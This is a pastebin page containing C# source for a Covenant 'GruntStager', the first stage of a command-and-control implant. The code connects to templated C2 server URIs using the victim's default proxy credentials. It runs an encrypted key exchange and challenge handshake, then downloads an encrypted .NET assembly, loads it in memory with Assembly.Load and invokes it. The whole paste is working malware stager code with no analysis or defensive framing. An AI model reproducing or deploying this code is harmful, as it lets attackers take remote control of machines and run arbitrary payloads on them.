Facebook
From Colorant Anoa, 3 Years ago, written in C.
Embed
Download Paste or View Raw
Hits: 592
  1. using System;
  2. using System.Net;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Text.RegularExpressions;
  6. using System.IO.Pipes;
  7. using System.Reflection;
  8. using System.Collections.Generic;
  9. using System.Security.Cryptography;
  10.  
  11. namespace GruntStager
  12. {
  13.     public class GruntStager
  14.     {
  15.         public GruntStager()
  16.         {
  17.             ExecuteStager();
  18.         }
  19.         [STAThread]
  20.         public static void Main(string[] args)
  21.         {
  22.             new GruntStager();
  23.         }
  24.         public static void Execute()
  25.         {
  26.             new GruntStager();
  27.         }
  28.         public void ExecuteStager()
  29.         {
  30.             try
  31.             {
  32.                 List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
  33.                 string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}";
  34.                                 List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
  35.                                 List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
  36.                                 List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
  37.                                 string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
  38.                 string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
  39.                 bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
  40.                 bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
  41.  
  42.                 Random random = new Random();
  43.                 string aGUID = @"{{REPLACE_GRUNT_GUID}}";
  44.                 string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
  45.                 byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
  46.                 string MessageFormat = GetMessageFormat;
  47.  
  48.                 Aes SetupAESKey = Aes.Create();
  49.                 SetupAESKey.Mode = CipherMode.CBC;
  50.                 SetupAESKey.Padding = PaddingMode.PKCS7;
  51.                 SetupAESKey.Key = SetupKeyBytes;
  52.                 SetupAESKey.GenerateIV();
  53.                 HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
  54.                 RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
  55.  
  56.                 byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
  57.                 byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
  58.                 byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
  59.                 string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
  60.  
  61.                 ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
  62.                 ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
  63.                 {
  64.                     bool valid = true;
  65.                     if (UseCertPinning && CovenantCertHash != "")
  66.                     {
  67.                         valid = cert.GetCertHashString() == CovenantCertHash;
  68.                     }
  69.                     if (valid && ValidateCert)
  70.                     {
  71.                         valid = errors == System.Net.Security.SslPolicyErrors.None;
  72.                     }
  73.                     return valid;
  74.                 };
  75.                 string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
  76.                 CookieWebClient wc = null;
  77.                 string Stage0Response = "";
  78.                 wc = new CookieWebClient();
  79.                 wc.UseDefaultCredentials = true;
  80.                 wc.Proxy = WebRequest.DefaultWebProxy;
  81.                 wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
  82.                 string CovenantURI = "";
  83.                 foreach (string uri in CovenantURIs)
  84.                 {
  85.                     try
  86.                     {
  87.                         for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  88.                         {
  89.                             if (ProfileHttpHeaderNames[i] == "Cookie")
  90.                             {
  91.                                 wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
  92.                             }
  93.                             else
  94.                             {
  95.                                 wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
  96.                             }
  97.                         }
  98.                         wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
  99.                         CovenantURI = uri;
  100.                     }
  101.                     catch
  102.                     {
  103.                         continue;
  104.                     }
  105.                 }
  106.                 for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  107.                 {
  108.                     if (ProfileHttpHeaderNames[i] == "Cookie")
  109.                     {
  110.                         wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  111.                     }
  112.                     else
  113.                     {
  114.                         wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  115.                     }
  116.                 }
  117.                 Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  118.                 string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
  119.                 extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  120.                 List<string> parsed = Parse(extracted, MessageFormat);
  121.                 string iv64str = parsed[3];
  122.                 string message64str = parsed[4];
  123.                 string hash64str = parsed[5];
  124.                 byte[] messageBytes = Convert.FromBase64String(message64str);
  125.                 if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  126.                 SetupAESKey.IV = Convert.FromBase64String(iv64str);
  127.                 byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  128.                 byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
  129.  
  130.                 Aes SessionKey = Aes.Create();
  131.                 SessionKey.Mode = CipherMode.CBC;
  132.                 SessionKey.Padding = PaddingMode.PKCS7;
  133.                 SessionKey.Key = FullyDecrypted;
  134.                 SessionKey.GenerateIV();
  135.                 hmac = new HMACSHA256(SessionKey.Key);
  136.                 byte[] challenge1 = new byte[4];
  137.                 RandomNumberGenerator rng = RandomNumberGenerator.Create();
  138.                 rng.GetBytes(challenge1);
  139.                 byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
  140.                 hash = hmac.ComputeHash(EncryptedChallenge1);
  141.  
  142.                 string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
  143.                 transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
  144.  
  145.                 string Stage1Response = "";
  146.                 for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  147.                 {
  148.                     if (ProfileHttpHeaderNames[i] == "Cookie")
  149.                     {
  150.                         wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  151.                     }
  152.                     else
  153.                     {
  154.                         wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  155.                     }
  156.                 }
  157.                 Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  158.                 extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
  159.                 extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  160.                 parsed = Parse(extracted, MessageFormat);
  161.                 iv64str = parsed[3];
  162.                 message64str = parsed[4];
  163.                 hash64str = parsed[5];
  164.                 messageBytes = Convert.FromBase64String(message64str);
  165.                 if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  166.                 SessionKey.IV = Convert.FromBase64String(iv64str);
  167.  
  168.                 byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  169.                 byte[] challenge1Test = new byte[4];
  170.                 byte[] challenge2 = new byte[4];
  171.                 Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
  172.                 Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
  173.                 if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
  174.  
  175.                 SessionKey.GenerateIV();
  176.                 byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
  177.                 hash = hmac.ComputeHash(EncryptedChallenge2);
  178.  
  179.                 string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
  180.                 transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
  181.  
  182.                 string Stage2Response = "";
  183.                 for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  184.                 {
  185.                     if (ProfileHttpHeaderNames[i] == "Cookie")
  186.                     {
  187.                         wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  188.                     }
  189.                     else
  190.                     {
  191.                         wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  192.                     }
  193.                 }
  194.                 Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  195.                 extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
  196.                 extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  197.                 parsed = Parse(extracted, MessageFormat);
  198.                 iv64str = parsed[3];
  199.                 message64str = parsed[4];
  200.                 hash64str = parsed[5];
  201.                 messageBytes = Convert.FromBase64String(message64str);
  202.                 if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  203.                 SessionKey.IV = Convert.FromBase64String(iv64str);
  204.                 byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  205.                 Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
  206.                 gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
  207.             }
  208.             catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
  209.         }
  210.  
  211.         public class CookieWebClient : WebClient
  212.         {
  213.             public CookieContainer CookieContainer { get; private set; }
  214.             public CookieWebClient()
  215.             {
  216.                 this.CookieContainer = new CookieContainer();
  217.             }
  218.             public void SetCookies(Uri uri, string cookies)
  219.             {
  220.                 this.CookieContainer.SetCookies(uri, cookies);
  221.             }
  222.             protected override WebRequest GetWebRequest(Uri address)
  223.             {
  224.                 var request = base.GetWebRequest(address) as HttpWebRequest;
  225.                 if (request == null) return base.GetWebRequest(address);
  226.                 request.CookieContainer = CookieContainer;
  227.                 return request;
  228.             }
  229.         }
  230.  
  231.         public static List<string> Parse(string data, string format)
  232.         {
  233.             format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
  234.             if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
  235.             if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
  236.             if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
  237.             if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
  238.             if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
  239.             if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
  240.             Match match = new Regex(format).Match(data);
  241.             List<string> matches = new List<string>();
  242.             if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
  243.             if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
  244.             if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
  245.             if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
  246.             if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
  247.             if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
  248.             return matches;
  249.         }
  250.  
  251.  
  252.         public static string GetMessageFormat
  253.         {
  254.             get
  255.             {
  256.                 var sb = new StringBuilder(@"{{""GUID"":""{0}"",");
  257.                 sb.Append(@"""Type"":{1},");
  258.                 sb.Append(@"""Meta"":""{2}"",");
  259.                 sb.Append(@"""IV"":""{3}"",");
  260.                 sb.Append(@"""EncryptedMessage"":""{4}"",");
  261.                 sb.Append(@"""HMAC"":""{5}""}}");
  262.                 return sb.ToString();
  263.             }
  264.         }
  265.         // {{REPLACE_PROFILE_MESSAGE_TRANSFORM}}
  266.     }
  267. }